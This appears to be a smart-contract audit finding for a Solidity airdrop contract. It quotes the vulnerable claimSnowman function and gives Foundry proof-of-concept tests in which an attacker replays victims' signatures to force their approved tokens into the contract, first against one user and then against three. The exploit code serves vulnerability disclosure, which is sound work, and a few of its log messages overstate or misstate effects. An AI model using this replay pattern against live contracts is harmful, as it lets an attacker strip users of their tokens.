function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
revert SA__InvalidSignature();
}
uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
@> i_snow.safeTransferFrom(receiver, address(this), amount);
s_hasClaimedSnowman[receiver] = true;
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}
contract TestSnowmanAirdrop is Test {
address attacker;
function setUp() public {
(alice, alKey) = makeAddrAndKey("alice");
(bob, bobKey) = makeAddrAndKey("bob");
attacker = makeAddr("attacker");
}
function testExploit_AttackerStealsAliceTokens() public {
vm.prank(alice);
snow.approve(address(airdrop), 1);
uint256 aliceBalanceBefore = snow.balanceOf(alice);
uint256 attackerBalanceBefore = snow.balanceOf(attacker);
uint256 contractBalanceBefore = snow.balanceOf(address(airdrop));
console2.log("\n=== BEFORE EXPLOIT ===");
console2.log("Alice SNOW balance:", aliceBalanceBefore);
console2.log("Attacker SNOW balance:", attackerBalanceBefore);
console2.log("Contract SNOW balance:", contractBalanceBefore);
console2.log("Alice NFT balance:", nft.balanceOf(alice));
bytes32 aliceDigest = airdrop.getMessageHash(alice);
(uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, aliceDigest);
console2.log("\n=== EXECUTING EXPLOIT ===");
console2.log(" Attacker calling claimSnowman with Alice's address and signature...");
vm.prank(attacker);
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
uint256 aliceBalanceAfter = snow.balanceOf(alice);
uint256 attackerBalanceAfter = snow.balanceOf(attacker);
uint256 contractBalanceAfter = snow.balanceOf(address(airdrop));
console2.log("\n=== AFTER EXPLOIT ===");
console2.log("Alice SNOW balance:", aliceBalanceAfter);
console2.log("Attacker SNOW balance:", attackerBalanceAfter);
console2.log("Contract SNOW balance:", contractBalanceAfter);
console2.log("Alice NFT balance:", nft.balanceOf(alice));
assertEq(aliceBalanceAfter, 0, "Alice should have lost her SNOW token");
assertEq(contractBalanceAfter, 1, "Contract should have received Alice's token");
assertEq(nft.balanceOf(alice), 1, "Alice should have received snowman NFT");
assertEq(attackerBalanceAfter, attackerBalanceBefore, "Attacker balance should be unchanged");
console2.log("\n=== EXPLOIT SUCCESSFUL ===");
console2.log("Alice lost 1 SNOW token");
console2.log("Attacker spent 0 of their own tokens");
console2.log("Alice cannot claim again (marked as claimed)");
console2.log("Alice's token effectively burned (sent to contract)");
console2.log("Attacker used Alice's own signature against her");
}
function testExploit_MultipleVictimAttack() public {
vm.prank(alice);
snow.approve(address(airdrop), 1);
vm.prank(bob);
snow.approve(address(airdrop), 1);
vm.prank(clara);
snow.approve(address(airdrop), 1);
console2.log("\n=== MASS EXPLOIT TEST ===");
console2.log("Initial total SNOW tokens in circulation:", snow.balanceOf(alice) + snow.balanceOf(bob) + snow.balanceOf(clara));
bytes32 aliceDigest = airdrop.getMessageHash(alice);
(uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, aliceDigest);
vm.prank(attacker);
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
bytes32 bobDigest = airdrop.getMessageHash(bob);
(uint8 bobV, bytes32 bobR, bytes32 bobS) = vm.sign(bobKey, bobDigest);
vm.prank(attacker);
airdrop.claimSnowman(bob, BOB_PROOF, bobV, bobR, bobS);
bytes32 claraDigest = airdrop.getMessageHash(clara);
(uint8 clV, bytes32 clR, bytes32 clS) = vm.sign(clKey, claraDigest);
vm.prank(attacker);
airdrop.claimSnowman(clara, CL_PROOF, clV, clR, clS);
assertEq(snow.balanceOf(alice), 0, "Alice should have lost her token");
assertEq(snow.balanceOf(bob), 0, "Bob should have lost his token");
assertEq(snow.balanceOf(clara), 0, "Clara should have lost her token");
assertEq(snow.balanceOf(address(airdrop)), 3, "Contract should have all stolen tokens");
console2.log("MASS EXPLOIT SUCCESSFUL:");
console2.log("3 victims robbed of their SNOW tokens");
console2.log("All victims permanently locked out");
console2.log("Attacker spent 0 gas for victims' transactions");
}
}